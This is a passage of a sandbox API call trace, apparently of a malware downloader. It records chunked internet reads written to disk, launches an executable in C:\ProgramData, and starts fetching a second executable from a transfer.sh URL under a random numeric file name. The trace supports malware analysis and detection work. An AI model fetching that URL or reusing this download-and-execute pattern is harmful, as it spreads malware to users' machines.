[0059.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.606] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.606] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.607] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.608] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.608] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.608] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.608] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.608] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.609] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.610] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.611] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.612] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.612] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.612] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.612] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.612] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0060.101] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0060.101] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0060.102] ShellExecuteExA (in: pExecInfo=0xe79d36c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\ProgramData\\23111707348706201124.exe", lpParameters="", lpDirectory=0x0, nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xe79d36c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\ProgramData\\23111707348706201124.exe", lpParameters="", lpDirectory=0x0, nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
[0060.737] lstrlenA (lpString="https://transfer.sh/get/8n86mq/sima.exe") returned 39
[0060.737] lstrlenA (lpString="https://transfer.sh/get/8n86mq/sima.exe") returned 39
[0060.737] lstrcpyA (in: lpString1=0xe79d3b8, lpString2="://transfer.sh/get/8n86mq/sima.exe" | out: lpString1="://transfer.sh/get/8n86mq/sima.exe") returned="://transfer.sh/get/8n86mq/sima.exe"
[0060.737] StrCmpCA (pszStr1="https", pszStr2="open_") returned -7
[0060.737] lstrcatA (in: lpString1="", lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
[0060.737] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x67db80
[0060.737] GetTickCount () returned 0x14e1e3d
[0060.740] GetLastError () returned 0x0
[0060.740] SetLastError (dwErrCode=0x0)
[0060.740] GetLastError () returned 0x0
[0060.740] SetLastError (dwErrCode=0x0)
[0060.740] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3") returned 1
[0060.740] GetLastError () returned 0x0
[0060.740] SetLastError (dwErrCode=0x0)
[0060.740] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35") returned 2
[0060.740] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357") returned 3
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570") returned 4
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705") returned 5
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357055") returned 6
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570558") returned 7
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705580") returned 8
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357055800") returned 9
[0060.743] GetLastError () returned 0x0
[0060.743] SetLastError (dwErrCode=0x0)
[0060.743] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570558000") returned 10
[0060.743] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705580001") returned 11
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357055800018") returned 12
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570558000185") returned 13
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705580001859") returned 14
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357055800018598") returned 15
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570558000185988") returned 16
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705580001859887") returned 17
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.744] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="357055800018598876") returned 18
[0060.744] GetLastError () returned 0x0
[0060.744] SetLastError (dwErrCode=0x0)
[0060.745] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="3570558000185988765") returned 19
[0060.745] GetLastError () returned 0x0
[0060.745] SetLastError (dwErrCode=0x0)
[0060.745] wsprintfA (in: param_1=0x67db80, param_2="%s%d" | out: param_1="35705580001859887656") returned 20
[0060.745] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="35705580001859887656" | out: lpString1="C:\\ProgramData\\35705580001859887656") returned="C:\\ProgramData\\35705580001859887656"
[0060.745] lstrcatA (in: lpString1="C:\\ProgramData\\35705580001859887656", lpString2=".exe" | out: lpString1="C:\\ProgramData\\35705580001859887656.exe") returned="C:\\ProgramData\\35705580001859887656.exe"
[0060.745] InternetOpenA (lpszAgent="", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0060.745] lstrlenA (lpString="https://transfer.sh/get/8n86mq/sima.exe") returned 39
[0060.745] InternetCrackUrlA (in: lpszUrl="https://transfer.sh/get/8n86mq/sima.exe", dwUrlLength=0x27, dwFlags=0x10000000, lpUrlComponents=0xe79cd98 | out: lpUrlComponents=0xe79cd98) returned 1
[0060.745] StrCmpCA (pszStr1="https", pszStr2="https") returned 0
[0060.745] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="https://transfer.sh/get/8n86mq/sima.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x800100, dwContext=0x0) returned 0xcc000c
[0061.475] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x13, lpBuffer=0xe79d24c, lpdwBufferLength=0xe79ce3c, lpdwIndex=0x0 | out: lpBuffer=0xe79d24c*, lpdwBufferLength=0xe79ce3c*=0x3, lpdwIndex=0x0) returned 1
[0061.475] StrCmpCA (pszStr1="200", pszStr2="200") returned 0
[0061.475] CreateFileA (lpFileName="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c
[0061.476] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.476] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.477] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
